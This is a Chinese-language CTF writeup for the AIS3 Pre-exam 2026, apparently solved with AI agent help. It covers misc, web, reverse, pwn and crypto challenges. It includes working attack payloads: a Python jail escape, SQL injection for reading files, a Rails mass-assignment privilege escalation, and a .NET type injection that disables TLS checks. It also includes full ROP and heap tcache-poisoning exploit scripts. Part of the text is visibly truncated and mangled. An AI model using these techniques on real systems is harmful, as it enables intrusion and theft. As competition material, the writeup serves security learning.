AIS3 Pre-exam 2026 Writeup

Summary

這是第三年打 pre-exam,拿到 18 名,比去年進步 53 名,感謝 AI Agent 的幫助 :)

Source


Welcome

  • Tag:Misc
  1. 會連到一個網站快速變動 QR code,截一張給手機掃描看看
  2. 對著 QR code 動畫掃一掃就會拿到圖片,裡面有 Flag

想在雪中來杯下午茶嗎?

  • Tag:Misc
  1. 左側的白色牌子可以看到上枝 3 號踏切和電話 0748-24-1431,右邊的狗狗牌子可以發現豐鄉町

Source

  1. 查一下就能看到日本鐵道圖,開 google map 走過去這裡

Source

Jail

  • Tags:Misc
  1. 主頁直接回顯原始碼,有黑名單字元、
#flag is at /flag
from flask import Flask,request,send_file
import os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')
def index(): return send_file(__file__)
@app.post('/<uid>')
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#")
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", 0o755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r
if __name__ == "__main__":
app.run("0.0.0.0",port=8000)
  1. 發現 shebang does not end with a newline,因此我們輸入的 1st byte 會接在他後面。所以想到的 payload 如下:
#!/usr/local/bin/python3 -Xcoding:unicode-escape
  1. 我們想執行的 script 是 print(open('/flag').read()),encode 後是 print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29。所以整個 POST Request Body 是:
-Xcoding:unicode-escape
print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29
  1. 使用一個有效的 UUID 當作路徑參數,並發送 body (raw):
Terminal window
uid=$(python3 -c 'import uuid; print(uuid.uuid4())')
body=$' -Xcoding:unicode-escape\nprint\\x28open\\x28\047/flag\047\\x29\\x2eread\\x28\\x29\\x29'
curl -sS \
-H 'Content-Type: application/octet-stream' \
--data-binary "$body" \
"http://chals1.ais3.org:10001/$uid"
  1. 得到 Flag:
#!/bin/true
#AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}

Jail Revenge

  • Tags:Misc
  1. 主頁同樣回顯原始碼,與原題不同之處是會限制第一行輸入長度
#flag is at /flag
from flask import Flask,request,send_file
import os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')
def index(): return send_file(__file__)
@app.post('/<uid>')
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", 0o755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r
if __name__ == "__main__":
app.run("0.0.0.0",port=8000)
  1. 打點和 Jail 一樣,只是多限制第一行只能 24 char。我們想執行的 script 是 print(repr(open('/flag').read())),進行編碼後是 print\x28repr\x28open\x28'/flag'\x29\x2eread\x28\x29\x29\x29。所以整個 POST Request Body 是:
-Xcoding:unicode-escape
print\x28repr\x28open\x28'/flag'\x29\x2eread\x28\x29\x29\x29
  1. 使用一個有效的 UUID 當作路徑參數,並發送 body (raw):
Terminal window
uid=$(python3 -c 'import uuid; print(uuid.uuid4())')
body=$' -Xcoding:unicode-escape\nprint\\x28repr\\x28open\\x28\047/flag\047\\x29\\x2eread\\x28\\x29\\x29\\x29'
curl -sS \
-H 'Content-Type: application/octet-stream' \
--data-binary "$body" \
"http://chals1.ais3.org:10002/$uid"
  1. 得到 Flag:
'#!/bin/true\n#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}\n'

Give Me Flag

  • Tags:Web (ASP.NET Core 8.0)
  1. 先請 AI 看一下架構:

    • / 是 Drop 頁面,使用者輸入 collector IP 後,server 會送 HTTPS POST 到該 IP 的 /api/flag。由於 IndexModel 使用 IPAddress.TryParse 驗證輸入,不能直接提交 domain name 來控制 TLS SNI 或 hostname。
    • /Support 是 component preview 頁面,使用者可提交 Preview.TemplatePreview.Accent。正常情況下它會把 status/network 轉成內建 type,例如 GiveMeFlag.Support.Templates.StatusNetworkCalmCard
  2. FlagDeliveryService.cs 可以發現,從 configuration/env 讀取 flag 與 delivery 參數:

_flag = configuration["FLAG"] ?? "AIS3{missing_flag}";
_host = configuration["Challenge:Host"] ?? "flag-dropbox.givemeflag.internal";
_postPath = configuration["Challenge:PostPath"] ?? "/api/flag";
_port = int.TryParse(configuration["Challenge:Port"], out var result) ? result : 443;
// send JSON:
// {"flag":"...","challenge":"GiveMeFlag","sent_at":"..."}
  1. 這個請求是使用 HttpWebRequest,預設會驗證 TLS 憑證,所以直接架自簽 HTTPS server 會失敗,頁面只會顯示 The outbound HTTPS request failed.
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(endpoint);
httpWebRequest.Method = "POST";
httpWebRequest.Host = _host;
httpWebRequest.ContentType = "application/json";
  1. SupportModel.OnPostPreview 可以發現,會把使用者輸入交給 PreviewComponentResolver.Create,然後呼叫物件的 ToString():
CardText = PreviewComponentResolver.Create(Preview.Template, Preview.Accent)?.ToString()
?? "The selected card did not render any content.";
  1. PreviewComponentResolver.ParseDescriptor 支援 {name}#{metadata} 格式,其中 # 後方的 metadata 會做 URL decode:
int num = text.IndexOf('#', StringComparison.Ordinal);
if (num >= 0)
{
metadata = Uri.UnescapeDataString(text.Substring(num + 1, ...));
text = text.Substring(0, num);
}
  1. 如果 metadata 非空,程式直接把 metadata 當 type name:
Type type = Type.GetType(
!string.IsNullOrWhiteSpace(descriptor.Metadata)
? descriptor.Metadata
: ResolveBuiltInTypeName(descriptor),
LoadFromApplicationDirectory,
null,
throwOnError: true);
  1. 接著只檢查:

    • type 不是 abstract
    • type 不是 interface
    • type 有 public no-arg constructor
  2. assembly resolver 會從 app base directory 載入 DLL。因為 Dockerfile 會把整個 publish/ 放到 /app,所以 publish/ 裡所有 DLL 都是可解析目標。

string text = Path.Combine(AppContext.BaseDirectory, assemblyName.Name + ".dll");
return AssemblyLoadContext.Default.LoadFromAssemblyPath(text);
  1. Microsoft.Office.Server.Search.Connector.dll 裡面有:
namespace Microsoft.Office.Server.Search.Connector.BDC.Exchange;
public class ExchangeSystemUtility : StructuredRepositorySystemUtility<ExchangeProxy>
{
private static bool ValidateCertificates(...) => true;
static ExchangeSystemUtility()
{
ServicePointManager.ServerCertificateValidationCallback =
(RemoteCertificateValidationCallback)Delegate.Combine(
ServicePointManager.ServerCertificateValidationCallback,
new RemoteCertificateValidationCallback(ValidateCertificates));
}
}
  • 這個 class 符合 PreviewComponentResolver 的檢查:
    • public class
    • 繼承的 base class 提供 public no-arg constructor
    • static constructor 在第一次建立 instance 前自動執行
    • static constructor 修改的是 process-wide global state
  • 觸發後,整個 ASP.NET process 後續 HTTPS request 都會接受任意憑證
  1. 開始戳機器,成功時 preview 會建立 ExchangeSystemUtility instance,並執行 static constructor。
Terminal window
curl -s -c /tmp/cookies.txt "$BASE_URL/Support" > /tmp/support.html
TOKEN=$(grep -oP 'name="__RequestVerificationToken" type="hidden" value="\K[^"]+' /tmp/support.html)
curl -s -b /tmp/cookies.txt \
-X POST "$BASE_URL/Support?handler=Preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "__RequestVerificationToken=$TOKEN" \
--data-urlencode "Preview.Template=x#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector" \
--data-urlencode "Preview.Accent=calm"
  1. 送出 collector IP,server 會向這裡送 Flag:
application/json
# https://10.26.1.2/api/flag
# Host: flag-dropbox.givemeflag.internal
curl -s -c /tmp/cookies2.txt "$BASE_URL/" > /tmp/drop.html
TOKEN2=$(grep -oP 'name="__RequestVerificationToken" type="hidden" value="\K[^"]+' /tmp/drop.html)
curl -s -b /tmp/cookies2.txt \
-X POST "$BASE_URL/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "__RequestVerificationToken=$TOKEN2" \
--data-urlencode "Input.TargetIp=10.26.1.2"
  1. 讀取收到的 POST body:
{"flag":"AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_59ede4ed545f41fba92ed19821e7b0bc}","challenge":"GiveMeFlag","sent_at":"..."}

Mass Rapid Transit

  • Tags:Web
  1. 先查看首頁,發現網站是一個「AIS 捷運公司」資訊平台,功能包含:路網圖、車站資訊、失物招領、登入/註冊,回應標頭與 HTML 中的 CSRF token 格式顯示這是一個 Ruby on Rails 網站:
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="..." />
  1. 接著查看 robots.txt,這裡洩漏了後台路徑 /admin。直接存取 /admin 會被重新導向回首頁,表示後台存在但需要管理員權限。
User-agent: *
Disallow: /admin
  1. 網站提供公開註冊功能,註冊後會登入一般旅客帳號。登入後進入 /profile,頁面顯示目前角色是旅客
<span class="badge">旅客</span>
  1. 個人資料頁面有一個更新表單,送到 /profile
<form data-turbo="false" action="/profile" method="post">
<input type="hidden" name="_method" value="patch" />
<input type="text" name="user[username]" />
<input type="email" name="user[email]" />
<input type="text" name="user[full_name]" />
<input type="tel" name="user[phone]" />
<input type="text" name="user[favorite_station]" />
</form>

因為這是 Rails 網站,而且表單使用 user[...] 這種巢狀參數格式,所以懷疑可能有 strong parameters 設定錯誤,導致 mass assignment。

  1. 測試時,在更新個人資料的請求中額外加入 user[role]=admin,也就是原本表單只允許更新個人資料,但後端錯誤地允許使用者更新自己的 role 欄位。範例請求格式如下:
Terminal window
curl -b cookie.txt -c cookie.txt \
-X POST 'http://chals1.ais3.org:10003/profile' \
--data-urlencode '_method=patch' \
--data-urlencode 'authenticity_token=<CSRF_TOKEN>' \
--data-urlencode 'user[username]=<USERNAME>' \
--data-urlencode 'user[email]=<EMAIL>' \
--data-urlencode 'user[full_name]=<NAME>' \
--data-urlencode 'user[role]=admin'
  1. 更新成功後重新查看 /profile,角色變成管理員,可以訪問管理後台,公告顯示:
【內部】系統金鑰與稽核紀錄
本次系統稽核金鑰如下,僅供授權管理員存取:
AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}
請勿外洩,稽核週期為每季一次。

MyGO!!!!! X Ave Mujica 圖庫

  • Tags:Web
  1. 首頁是一個圖片圖庫,提供圖片列表與圖片上傳功能。前端會用以下 API:
Terminal window
# read image
/image?id=1
# upload image
POST /upload
  1. 先檢查是否有 robots.txt,看到 .svn 表示網站部署時可能留下 Subversion working copy metadata。
  2. 直接存取 /.svn/wc.db 會 404,但 /image?id= 有異常行為。測試 SQL injection,可以成功讀到 app.py
Terminal window
curl 'http://chals1.ais3.org:48763/image?id=1%20UNION%20SELECT%20%27app.py%27'
# app.py
@app.get("/image")
def image():
image_id = request.args.get("id")
cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
return send_file(cur[0])
  1. 利用 SQL injection 讀取 SVN working copy database
Terminal window
curl -s -o /tmp/ais3_wc.db \
'http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/proc/self/cwd/.svn/wc.db%27'
  1. 查詢 SVN 追蹤的檔案,然後看到很星爆的東西:
Terminal window
sqlite3 /tmp/ais3_wc.db \
'select local_relpath, checksum from NODES where kind="file";'
super_secret_starburst_flag114514.txt|$sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424
curl -s \
'http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/proc/self/cwd/super_secret_starburst_flag114514.txt%27'
# AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}

tetris,簡單

  • Tags:Reverse
  1. 先看題目的資訊,並且用字串大法:
ELF 64-bit LSB executable, x86-64, statically linked, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[1;36mTETRIS - Score: %d | Lines: %d
Press any key to continue...
Game Over! Final Score: %d
Lines Cleared: %d
Press ENTER to start...
  1. 可以看到疑似加密的東西:
    • .rodata at 0x17371e0:Tetris pattern constants.
    • .data at 0x1aa6130:encrypted flag bytes.
2e a5 56 46 0d 7c 8e dc 83 6f 30 83 ff f8 a5 5c
d0 76 d8 cd 99 dc 3f 39 9d 65 70 64
  1. 會用 seed 和 FNV-like 的算法進行計算,然後衍生出 24-byte 的金鑰,最後用 RC4-like KSA/PRGA 來解密 28-byte blob:
seed = 0x811c9dc5;
for each pattern_dword:
seed ^= pattern_dword;
seed *= 0x1000193;
# ...
key[i] = seed >> ((i % 4) * 8);
seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff;
  1. 寫個腳本解出來:
vals = [
5,0,5,0,1,0,4,4,4,0,5,5,5,0,1,0,
4,0,0,0,5,0,5,0,1,0,0,4,4,0,5,0,
5,0,1,0,4,4,0,3,
]
seed = 0x811c9dc5
for v in vals:
seed ^= v
seed = (seed * 0x1000193) & 0xffffffff
key = []
for i in range(24):
key.append((seed >> ((i & 3) * 8)) & 0xff)
seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff
ct = bytes.fromhex(
"2ea556460d7c8edc836f3083fff8a55c"
"d076d8cd99dc3f399d657064"
)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]
i = j = 0
pt = bytearray()
for c in ct:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xff]
pt.append(c ^ k)
print(pt.decode())
# AIS3{T3tr1s_P4tt3rn_M4st3r!}

ㄌㄨㄚˋ

  • Tags:Reverse

  • secret.luac:Lua 5.1 bytecode header

  • luac_stripped.exe:Windows x86-64 PE,內含被修改過的 Lua 5.1 VM

  1. luac_stripped.exemain 被改成只印提示,不能直接拿來編譯或執行題目:
This compiler has been disabled for the CTF challenge.
Reverse engineer this binary to discover the OpCode mapping!
  1. 發現 secret.luac 的 header 是 ,但 proto 格式被加了一個額外 byte。標準 Lua 5.1 proto 在讀完 nups 後會接 numparams/is_vararg/maxstacksize,這題中間多了一個 key:
1b 4c 75 61 51 00 01 04 08 04 08 00
source
linedefined
lastlinedefined
nups
key
numparams
is_vararg
maxstacksize
code
constants
protos
debug info
  1. VM dispatch 不直接使用 instruction 低 6 bits,而是會依 proto key 和 pc 做 XOR 混淆。從 luaV_execute 還原出的解碼方式如下。其中 pc0 是 zero-based instruction index,key 是 proto 裡多出來的 byte。
op = (instr ^ (key ^ 0x2b) ^ (15 * pc0 + 0x11)) & 0x3f
  1. luaV_execute jump table 和各 case 的行為,題目會用到的 opcode mapping 如下:
op01 ADD
op02 MOVE
op04 LOADK
op05 LOADBOOL
op08 SUB
op09 GETUPVAL
op10 JMP
op11 GETGLOBAL
op12 GETTABLE
op15 MUL
op16 SETTABLE
op17 DIV
op18 MOD
op19 NEWTABLE
op22 LEN
op23 LT
op24 TEST
op27 EQ
op28 CALL
op29 TAILCALL
op30 RETURN
op31 FORLOOP
op32 FORPREP
op33 SETLIST
op35 CLOSURE
  1. main chunk 主要流程可還原成:
io.write("> ")
local s = io.read()
if check(s) then
print("ok")
else
print("no")
end
  1. 子函式大致分成幾類:
    • byte-wise XOR helper
    • table transform helper
    • table interleave helper
    • key table generator
    • target table generator
    • validator
  2. 其中 validator 會先產生兩個 table:
key table:
23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77
target table:
158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88,
51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73,
80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32
  1. 把 validator 的核心檢查整理如下,因為每一輪只跟當前 byte、state、key 有關,而且 xor() 可逆,所以可以逐 byte 反推輸入。
state = 65
for i in range(1, len(target) + 1):
k = key[(i * 5 + state) % len(key)]
x = input[i - 1]
v = xor((x + i + state) % 256, (k + i * 7) % 256)
v = (v + xor(k, i) % 13) % 256
if v != target[i - 1]:
return False
state = (state + v + k + i * 3) % 256
return state == 229
  1. 所以撰寫解密腳本:
def bxor(a, b):
return int(a) ^ int(b)
key = [23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77]
target = [
158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88,
51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73,
80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32,
]
state = 65
out = []
for i, tgt in enumerate(target, 1):
k = key[(i * 5 + state) % len(key)]
for x in range(256):
v = bxor((x + i + state) % 256, (k + i * 7) % 256)
v = (v + bxor(k, i) % 13) % 256
if v == tgt:
out.append(x)
state = (state + v + k + i * 3) % 256
break
print(bytes(out).decode())
print(state)
# AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

哇!金色傳說

  • Tags:Reverse
  1. 解壓縮 B.zip 後,可以看到這是一個 Unity Windows build,且包含 Mono managed assembly。因為有 Reverse1_Data/Managed/Assembly-CSharp.dll,代表這不是 IL2CPP,而是 Mono 版 Unity。主要遊戲邏輯會在 Assembly-CSharp.dll 中。
B/Reverse1.exe
B/UnityPlayer.dll
B/MonoBleedingEdge/...
B/Reverse1_Data/Managed/Assembly-CSharp.dll
  1. 先用字串搜尋大法爬 DLL,可以看到一些可疑字串。這表示遊戲內有一個抽卡 server,client 會把玩家狀態送到遠端:
GachaServer
UsernameUI
http://chals1.ais3.org:50001
{{"spend":{0},"rate":{1:F4},
"username":"
"gold":{0},"score":{1},"kills":{2}}}
  1. 安裝 mono-utils,使用 monodis 反組譯後搜尋 GachaServerUrl,在 GameManager constructor 中找到 server URL:
Terminal window
rg -n "GachaServerUrl|chals1|RollCoroutine|LocalFallback" /tmp/ais3_b/Assembly-CSharp.il
# server url
IL_0001: ldstr "Anonymous"
IL_0006: stfld string GameManager::'<PlayerName>k__BackingField'
IL_000c: ldstr "http://chals1.ais3.org:50001"
IL_0011: stfld string GameManager::'<GachaServerUrl>k__BackingField'
  1. GachaServer/<RollCoroutine>d__7::MoveNext 會組出 POST body。重點 IL 如下:
IL_001f: ldc.r4 0.
IL_0024: ldc.r4 0.30000001192092896
IL_0029: call float32 class [UnityEngine.CoreModule]UnityEngine.Random::Range(float32, float32)
IL_002e: stloc.2
...
IL_007f: ldstr "{{\"spend\":{0},\"rate\":{1:F4},"
...
IL_009d: ldstr "\"username\":\""
...
IL_00b6: ldstr "\"gold\":{0},\"score\":{1},\"kills\":{2}}}"
  1. 還原成近似 C#,正常遊戲流程下,rate 應該只會落在 `0.0 <= rate <= 0…10168 tokens truncated…64(POP_RSI) + p64(0) # rsi = O_RDONLY (flags) rop += p64(POP_RDX) + p64(0) # rdx = 0 (mode) rop += p64(POP_RAX) + p64(2) # rax = SYS_open rop += p64(SYSCALL) # open() -> fd in rax rop += p64(MOV_EDI_EAX) # edi = eax (fd) rop += p64(POP_RSI) + p64(BSS_BUF) # rsi = BSS buffer rop += p64(POP_RDX) + p64(200) # rdx = count rop += p64(POP_RAX) + p64(0) # rax = SYS_read rop += p64(SYSCALL) # read(fd, BSS_BUF, 200) rop += p64(POP_RDI) + p64(socket_fd) # rdi = socket_fd rop += p64(POP_RSI) + p64(BSS_BUF) # rsi = BSS buffer rop += p64(POP_RDX) + p64(200) # rdx = count rop += p64(POP_RAX) + p64(1) # rax = SYS_write rop += p64(SYSCALL) # write(socket_fd, BSS_BUF, 200)

    Payload structure:

    bytes 0-15: nulls (case-transformed but we don’t care)

    bytes 16-25: /flag.txt\0 (NOT case-transformed)

    bytes 26-55: padding (30 ’A’s)

    bytes 56-63: canary

    bytes 64-71: saved_rbp (keep original)

    bytes 72+: ROP chain

    payload = b’\x00’ * 16 # bytes 0-15 payload += b’/flag.txt\x00’ # bytes 16-25 payload += b’A’ * 30 # bytes 26-55 (padding to canary) payload += struct.pack(‘<Q’, canary) # bytes 56-63 payload += struct.pack(‘<Q’, outer_rbp) # bytes 64-71 payload += rop # bytes 72+

    print(f“[+] Payload length: {len(payload)} bytes“) print(f“[+] flag_str_addr: {hex(flag_str_addr)}“) print(f”[+] ROP chain size: {len(rop)} bytes“) return payload

def exploit(canary, outer_rbp, socket_fd): payload = build_payload(canary, outer_rbp, socket_fd) type_str = url_encode_bytes(payload)

print(f"[+] URL-encoded type length: {len(type_str)} chars")
# Send the overflow request
s = connect()
s.settimeout(15)
req = f"GET /dns-query?name=www.curious.sleeping.&type={type_str} HTTP/1.1\r\nHost: {HOST}\r\nConnection: close\r\n\r\n"
print(f"[+] Sending exploit request ({len(req)} bytes)...")
s.sendall(req.encode())
# Read response
data = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
if b'AIS3' in data or b'flag' in data.lower():
break
except socket.timeout:
print("[!] Socket timeout reading response")
finally:
s.close()
return data

def main(): print(“[] Phase 1: Leak stack values”) try: canary, outer_rbp, socket_fd = leak_stack() except Exception as e: print(f“[-] Leak failed: {e}“) print(”[] Solving PoW to get a fresh instance…“) solve_pow() canary, outer_rbp, socket_fd = leak_stack()

print("\n[*] Phase 2: Send overflow payload")
resp = exploit(canary, outer_rbp, socket_fd)
print(f"\n[*] Response ({len(resp)} bytes):")
print(resp[:500])
# Look for flag
if b'AIS3{' in resp:
import re
flag = re.search(rb'AIS3\{[^}]+\}', resp)
if flag:
print(f"\n[+] FLAG: {flag.group().decode()}")
elif b'flag' in resp.lower():
print("[+] Possible flag in response!")
else:
# Try to decode if raw binary was sent
print("[*] Checking for binary flag data...")
for i in range(len(resp)):
if resp[i:i+4] == b'AIS3':
print(f"[+] FLAG: {resp[i:i+50]}")
break

if name == ‘main’: main()

[+] canary: 0xeda6350ff8797300

[+] outer_rbp: 0x7ffda98ec090

[+] ret_addr: 0x4095e4

[+] socket_fd: 4

[+] FLAG: AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}

## ooonvifd
- Tags:`Pwn`
- `onvifd`:ONVIF-like IP camera HTTP/SOAP service (ELF)
- `Dockerfile`:Ubuntu 20.04 環境,flag 位於 `/flag.txt`
1. 先檢查保護機制,`onvifd` 是 64-bit PIE ELF:
```text
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
  1. 服務是一個簡化的 ONVIF HTTP/SOAP server,預設 listen 在 8080。可以看到幾個主要 handler:
handle_get_capabilities 0x1930
handle_upload_firmware 0x1ce0
dispatch_soap 0x1d90
parse_http.constprop_0 0x22a0
parse_mime 0x27a0

可觸發的 SOAP operation @dispatch_soap:

Source

其中 UploadFirmware 會解析 multipart/related MIME attachment,這是後面 heap overflow 的入口。

  1. 在函數 handle_get_capabilities 中,它用 __snprintf_chk 把 SOAP response 寫進 stack 上 0x500 bytes buffer。response 內會把 Host: header 重複放進多個 URL。而 Host: 最長可達 511 bytes。當 host 很長時,snprintf 會截斷輸出,但回傳值是「如果 buffer 足夠,本來會寫入的長度」。程式接著把這個回傳值當作 send() 的長度:
// http://%s/onvif/device_service
// http://%s/onvif/media_service
// ...
n = snprintf(stack_buf, 0x500, response_fmt, host, host, ...);
send(fd, stack_buf, n, 0);

Source

  1. 因此 send() 會把 0x500 buffer 後面的 stack 內容一起送出,形成 stack overread。Leak request 核心,並且得知穩定 leak offsets:
body = b"<s:Envelope><s:Body><tds:GetCapabilities/></s:Body></s:Envelope>"
req = http_req(body, host=b"A" * 511)
# response[0x508:0x510] stack canary
# response[0x528:0x530] PIE return address, PIE base = leak - 0x1597
# response[0x608:0x610] libc return address
  1. 每個 MIME part 的 content buffer 一開始配置 malloc(0x200),正常 byte append 會檢查容量,不夠就 realloc 成兩倍。

Source

  1. 問題出在 parser 遇到 \r\n--... 時會進入 boundary detection。若 boundary match 到一半失敗,它會把剛剛讀到的 bytes 補回 content buffer。這段補回邏輯只檢查目前是否還有空間,沒有檢查「整段要補回的 bytes」是否都放得下。 Source

  2. 利用方式是讓 content 長度剛好接近 0x200,例如 0x1ff,然後送一段假的 boundary prefix,這樣 parser 補回 fake boundary bytes 時會越過目前 0x210 chunk,進而覆蓋下一個 heap chunk 的內容:

"A" * 0x1ff + "\r\n--" + partial_boundary
  1. 目標環境是 Ubuntu 20.04/glibc 2.31,glibc 2.31 的 tcache 還沒有實作 safe-linking,而且 __free_hook 還存在,因此可以用 tcache poisoning 讓 malloc(0x200) 回傳 __free_hook - delta,再把 system 寫到 __free_hook
libc BuildID: 0323ab4806bee6f846d9ad4bccfc29afdca49a58
system: 0x52290
__free_hook: 0x1eee48
  1. 整理利用流程如下:

    1. GetCapabilities 長 Host leak libc base
    2. 先送一個合法 multipart request,建立三個 0x210 content chunk,讓它們進入 tcache
    3. 再送 exploit multipart request
    4. 第一個 part 用 0x1ff bytes content 觸發 fake boundary overflow
    5. overflow 覆蓋下一個 freed 0x210 chunk 的 tcache fd
    6. 後續 malloc(0x200) 被導到 __free_hook - delta
    7. writer part 在 __free_hook 寫入 system
    8. cleanup 時程式會 free() attachment content,變成呼叫 system(content)
    9. 最後 command part 內容放 cat /flag.txt 1>&4
  2. 送出 exploit payload 到遠端(節錄):

#!/usr/bin/env python3
import socket
import struct
import sys
import hashlib
import re
import time
from datetime import datetime, timezone
LIBC_START_MAIN_RET = 0x24083
SYSTEM = 0x52290
FREE_HOOK = 0x1EEE48
def leak(host, port):
body = b"<s:Envelope><s:Body><tds:GetCapabilities/></s:Body></s:Envelope>"
raw = http_req(body, host=b"A" * 511)
data = request(host, port, raw)
canary = u64(data[0x508:0x510])
pie_ret = u64(data[0x528:0x530])
libc_ret = u64(data[0x608:0x610])
pie_base = pie_ret - 0x1597
libc_base = libc_ret - LIBC_START_MAIN_RET
log_info(f"canary={canary:#x} pie={pie_base:#x} libc={libc_base:#x} leak={libc_ret:#x}")
return canary, pie_base, libc_base
def mime_body(boundary, parts):
out = b""
for p in parts:
out += b"--" + boundary + b"\r\n"
out += b"Content-Type: application/octet-stream\r\n\r\n"
out += p
out += b"\r\n"
out += b"--" + boundary + b"--\r\n"
return out
def send_mime(host, port, boundary, parts):
body = mime_body(boundary, parts)
ctype = b'multipart/related; boundary=' + boundary
return request(host, port, http_req(body, ctype=ctype))
def prime(host, port):
boundary = b"PRIME"
soap = b"<s:Envelope><s:Body><tds:UploadFirmware/></s:Body></s:Envelope>"
send_mime(host, port, boundary, [soap, b"B" * 0x20, b"C" * 0x20])
def good_target(free_hook):
bad = {0x00, 0x09, 0x0a, 0x0d, 0x20}
for delta in range(8, 0x1f0, 16):
target = free_hook - delta
first5 = p64(target)[:5]
if all(c not in bad for c in first5):
return target, delta
raise RuntimeError("no header-safe aligned target near __free_hook")
def exploit(host, port):
_, _, libc_base = leak(host, port)
system = libc_base + SYSTEM
free_hook = libc_base + FREE_HOOK
target, delta = good_target(free_hook)
log_info(f"system={system:#x} __free_hook={free_hook:#x} target={target:#x} delta={delta:#x}")
prime(host, port)
t = p64(target)
boundary = b"B" * 13 + t[:5] + b"X"
false_boundary = b"\r\n--" + b"B" * 13 + t[:6]
first = b"A" * 0x1ff + false_boundary
writer = b"W" * delta + p64(system)
cmd = b"cat /flag.txt 1>&4 # UploadFirmware"
data = send_mime(host, port, boundary, [first, writer, writer, cmd])
print(data.decode(errors="replace"))
def main():
host = "127.0.0.1"
port = 9002
if len(sys.argv) >= 2 and sys.argv[1] == "instancer":
host, port = start_instance()
log_info(f"instance {host}:{port}")
elif len(sys.argv) >= 2 and sys.argv[1] != "local":
host = sys.argv[1]
if len(sys.argv) >= 3:
port = int(sys.argv[2])
exploit(host, port)
if __name__ == "__main__":
main()
# AIS3{LiTTL3_Re@l_wORlD_PWN_Bu7_I_tHINk_ai_WriT3$_EXplo1t_f@St3R}

EasyZKP

  • Tags:Crypto
  • proof/app.py:真正知道 flag 的 prover,提供 HTTP /prove
  • verifier/chal.py:我們連到的互動服務,會替我們去問 prover
  1. 先玩玩看互動服務,有兩個選項。在challenge 要連續通過 16 輪,每一輪 verifier 會:

    1. 產生 32 bytes 的 server_part
    2. 要我們輸入 shown_nonce
    3. 計算 suffix = shown_nonce || server_part
    4. 隨機選一個 seed
    5. 要我們回答 compute_proof(flag, suffix, seed)
  2. 核心 proof 在 zkp.py,也就是對 sha256(flag || suffix) 的 256 個 bit 從高位到低位掃過去:

def compute_proof_from_digest(digest, seed):
value = 0
for byte in digest:
for offset in range(7, -1, -1):
if (byte >> offset) & 1 == 0:
raw_value = value + seed
value = raw_value % N
else:
value = pow(value, seed, N)
return value
# bit = 0: value = value + seed mod N
# bit = 1: value = value^seed mod N
  1. ask prover 模式會先讓我們輸入一段 nonce,然後 verifier 用它組 HTTP URL 去戳內部 prover。問題是 user_part_b64 沒有 URL encode。prover 端解析 query 時,如果輸入 &s=123,verifier 組出來會類似:/prove?p=<server>&d=&s=123&s=<verifier_random_seed>parse_qs()["s"][0] 會拿第一個 s,所以 prover 實際使用的是我注入的 123,不是 verifier 原本隨機產生的 seed。
def fetch_proof(user_part_b64, server_part_b64, seed, bit_flip_indices=None):
flip_query = ""
if bit_flip_indices is not None:
for index in bit_flip_indices:
flip_query += f"&f={index}"
url = f"{PROVER_URL}?p={server_part_b64}{flip_query}&d={user_part_b64}&s={seed}"
# ...
query = parse_qs(parsed.query, keep_blank_values=True)
seed = int(query["s"][0])
  1. ask prover 模式還有一個選項 2. flip one sha256 bit,它會把 sha256(flag || suffix) 的指定 bit 翻轉後,再讓 prover 計算 proof:
def compute_proof(flag, suffix, seed, bit_flip_indices=None):
digest = hash_suffix(flag, suffix)
if bit_flip_indices is not None:
for index in bit_flip_indices:
